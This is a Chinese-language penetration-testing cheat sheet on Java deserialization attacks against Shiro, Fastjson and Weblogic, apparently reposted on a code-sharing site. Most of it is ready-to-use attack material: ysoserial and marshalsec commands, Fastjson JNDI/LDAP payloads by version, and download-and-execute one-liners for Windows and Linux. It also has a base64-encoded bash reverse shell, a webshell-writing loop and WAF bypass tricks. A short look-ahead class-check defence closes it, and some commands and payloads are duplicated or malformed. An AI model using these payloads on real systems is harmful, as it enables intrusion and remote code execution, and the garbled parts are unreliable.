Java反序列化


基礎

序列化

將對象轉換為字節序列的過程,ObjectOutputStreamwriteObject()方法實現序列化

反序列化

將字節序列還原為對象的過程,ObjectInputStreamreadObject()方法實現反序列化

序列化的作用

  • 遠程方法調用

  • 便於通過網絡傳輸對象至遠程系統

  • 便於存儲對象在數據庫或本地文件

序列化條件

  • 該類必須實現 java.io.Serializable 接口。

  • 該類的所有屬性必須是可序列化的。如果有一個屬性不是可序列化的,則該屬性必須注明是短暫的。

注:transient關鍵字修飾的變量不進行序列化。

SerializationDumper

將字節序列轉成易讀形式的工具

java -jar SerializationDumper-Shiro.jar -r test.obj

反序列化

public class Deserialize {
  public static void main(String[] args) throws IOException, ClassNotFoundException {
  FileInputStream fis = new FileInputStream("test.obj");
  ObjectInputStream ois = new ObjectInputStream(fis);
  User user = (User) ois.readObject();
  ois.close();
  System.out.println("User: " + user);
  System.out.println("Name: " + user.getName());
  System.out.println("Email: " + user.getEmail());
  }
} 
  • serialVersionUID是在JAVA序列化、反序列化時起作用的一個字段

  • JAVA的序列化機制是通過判斷類serialVersionUID來驗證版本的一致性

  • 在進行反序列時,JVM會把傳來的字節流中的serialVersionUID與對應類的serialVersionUID進行比較,如果一致則進行反序列化,否則會出現異常

  • 如過可序列化的類沒有顯示聲明serialVersionUID的值,會根據算法計算得到serialVersionUID,編譯器實現不同可能導致serialVersionUID有所不同。

反序列化漏洞

漏洞原理

  • Source 接收不信任的數據進行反序列化

  • Sink可利用的Gadget Chains

漏洞危害

RCE、DOS、SSRF、etc.

易受攻擊協議

  • RMI (Remote Method Invocation)

  • JMX (Java Management Extension)

  • JMS (Java Messaging System)

  • AMF (Action Message Format)

  • Weblogic T3

  • Customer Application Protocol

  • ...

易受攻擊組件

  • Weblogic

  • JBoss

  • Shiro

  • WebSphere

  • Fastjson

  • Jenkins

  • JSF ViewState

  • ...

漏洞挖掘

ysoserial

Payload生成工具:java -jar ysoserial-[version]-all.jar [payload] '[command]'

Payloads

BeanShell C3P0 CommonsBeanutils1 JBossInterceptors1
FileUpload1 Myfaces1 CommonsCollections1 JRMPClient
Groovy1 Myfaces2 CommonsCollections2 JRMPListener
Hibernate1 ROME CommonsCollections3 JavassistWeld1
Hibernate2 Spring1 CommonsCollections4 MozillaRhino1
JSON1 Spring2 CommonsCollections5 MozillaRhino2
Jdk7u21 URLDNS CommonsCollections6 Wicket1
Jython1 Vaadin1 CommonsCollections7 ......

URLDNS

java -jar ysoserial-[version]-all.jar URLDNS 'http://xxx.burpcollaborator.net'

  • 需支持DNS查詢

  • JDK自帶,不依賴於第三方庫

  • 最簡單的payload,雖然不能RCE,卻是反序列化漏洞檢測最簡單和最有效的辦法

Gadget Chain

通過HashMap觸發DNS查詢。

HashMap.readObject()HashMap.putVal()HashMap.hash()URL.hashCode()

CommonsCollections1

java -jar ysoserial-[version]-all.jar URLDNS 'http://xxx.burpcollaborator.net'
  • 依賴於commons-collections:3.1

  • 很多Java應用都有在用Apache Commons Collections庫

  • 反序列化漏洞里很經典的payload,2015年最被低估的漏洞,影響weblogic、websphere、jboss等各大Java應用

GadgetProbe

通過DNS盲打識別遠程服務器classpath上的類,庫,和庫版本

  • Java反序列化漏洞一般無回顯,通過GadgetProbe先獲取存在的類和庫,再用對應的payload去打

  • 參照URLDNS,不依賴於第三方庫

  • 支持BurpSuite Extension

  • 支持作為Java庫或者CLI使用,可以靈活使用和修改

marshalsec

可以方便的開啟RMI和LDAP服務,還可以用於生成Jackson、Xstream等payload

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

開啟LDAP服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.1:80/#Poc

開啟RMI服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.1.1:80/#Poc

Shiro反序列化漏洞

識別

在請求的Cookie中添加rememberMe=test,如果響應包中包含rememberMe=deleteMe則判斷為Shiro

SHIRO-550

Shiro≤1.2.4版本,默認使用了CookieRememberMeManager,其處理Cookie的流程是:得到rememberMe的Cookie值 → Base64解碼 → AES解密 → 反序列化,由於AES使用默認的Key、常見的Key、Key泄漏等原因導致反序列化的Cookie可控,從而引發反序列化漏洞。

Blind盲利用

下載執行/反彈

Windows

powershell.exe -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://x.x.x.x:80/p'))"
certutil -urlcache -split -f http://x.x.x.x/test.exe c:\\windows\\temp\\test.exe && c:\\windows\\temp\\test.exe
bitsadmin /transfer n http://x.x.x.x/test.exe c:\\windows\\temp\\test.exe && c:\\windows\\temp\\test.exe
regsvr32 /s /n /u /i:http://x.x.x.x:80/r scrobj.dll 

Linux

wget -O /tmp/test.sh x.x.x.x:80/test.sh;chmod +x /tmp/test.sh;/tmp/test.sh
curl -O /tmp/test.sh x.x.x.x:80/test.sh;chmod +x /tmp/test.sh;/tmp/test.sh
bash -c {echo,YmFzaCAtaSAvZGV2L3RjcC94LngueC54LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i} 

寫webshell文件

關鍵尋找Web應用路徑

Windows

Windows直接命令執行寫webshell會比較麻煩,可以先將命令執行轉為代碼執行(修改ysoserial代碼實現)

Linux

find /|grep jquery.form.js|while read f; do sh -c "whoami" > (dirnamef)/test.txt;done

構造回顯

在不通外網的情況下,漏洞利用就會很艱難了。但是可以考慮通過報錯、web獲取當前上下文對象、修改當前網絡連接描述文件等方法獲取回顯

https://xz.aliyun.com/t/7348

https://xz.aliyun.com/t/7535

SHIRO-721

rememberMe cookie通過AES-128-CBC模式加密,容易收到Padding Oracle攻擊。攻擊者可以使用有效的rememberMe cookie作為Padding Oracle攻擊的前綴,然后精心制作rememberMe來執行反序列化攻擊。

Fastjson反序列化漏洞

Fastjson識別

  • 破壞json格式,引發報錯

  • 目標可能支持多種數據格式提交,可將Content-Type修改為application/json試一下

  • OOB檢測

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"0"}
Set[{"@type":java.net.URL","val":"dnslog"}]
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}

# 1.2.24版本 
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x:1099/Exploit","autoCommit":true}

# 1.2.25-41版本
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"ldap://x.x.x.x:1099/Exploit","autoCommit":true}

# 1.2.25-45版本(黑名單繞過,需要有第三方組建ibatis-core 3:0)
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties"{"data_source":"ldap://x.x.x.x:1099/Exploit"}}

# 1.2.21-47版本
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x:1099/Exploit","autoCommit":true}} 

服務器不同外網

BasicDataSource

{{"x":{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$class的BCEL編碼"}}:"x"} 

TemplatesImpl

前提:需要設置Feature.SupportNonPublicField

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["class的base64"],"_name":"a.b","_tfactory":{},"_outputProperties":{},"_version":"1.0","allowedProtocols":"all"}

Tips

  • RMI限制比較多,建議用LDAP

    • RMI適用版本:JDK 6u132、7u122、8u113之前

    • LDAP適用版本:JDK 11.0.1、8u191、7u201、6u211之前

  • 如果LDAP能獲取服務器訪問請求,但是reference無法加載遠程class文件,一般是由於JDK版本問題,需要考慮繞過JDK版本限制

  • 如果LDAP能獲取服務器訪問請求,reference可以加載遠程class文件,但是代碼沒有被成功執行,一般是本地編譯POC的JDK版本和目標服務器版本不一致,本地編譯換JDK版本即可

Weblogic反序列化漏洞

識別

404頁面
/console
/uddiexplorer
/wls-wsat/CoordinatorPortType
/bea_wls_deployment_internal/DeploymentService
/_async/AsyncResponseService

CVE

CVE-2015-4852 CVE-2018-2893 CVE-2019-2729
CVE-2016-0638 CVE-2018-3191 CVE-2020-2551
CVE-2016-3510 CVE-2018-3245 CVE-2020-2555
CVE-2017-3248 CVE-2019-2618
CVE-2018-2628 CVE-2019-2725

Java反序列漏洞Bypass

WAF

WAF是最常見的防御手段,但是WAF對於反序列化攻擊的防御還是有點心有余而力不足。WAF主要還是依靠黑名單規則,常見的繞過手段有:

  • 尋找新的Gadget

  • Payload加密的基本直接過,比如Shiro反序列化漏洞

  • 還有攔/wls_wsat/CoordinatorPortType11的,結合Weblogic特性加上;/../x即可繞過

Look-Ahead Check

通過重寫ObjectInputStream的resolveClass增加黑名單或者白名單類

  • Weblogic

  • SerialKiller

public class LookAheadObjectInputStream extends ObjectInputStream {
  
  public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
    super(inputStream);
  }
  
  /**
  * Only deserialize instances of our expected Bicycle class
  */
  @Override
  protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,ClassNotFoundException {
    if (!desc.getName().equals(Bicycle.class.getName())) {
      throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
    }
    return super.resolveClass(desc);
  }
} 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM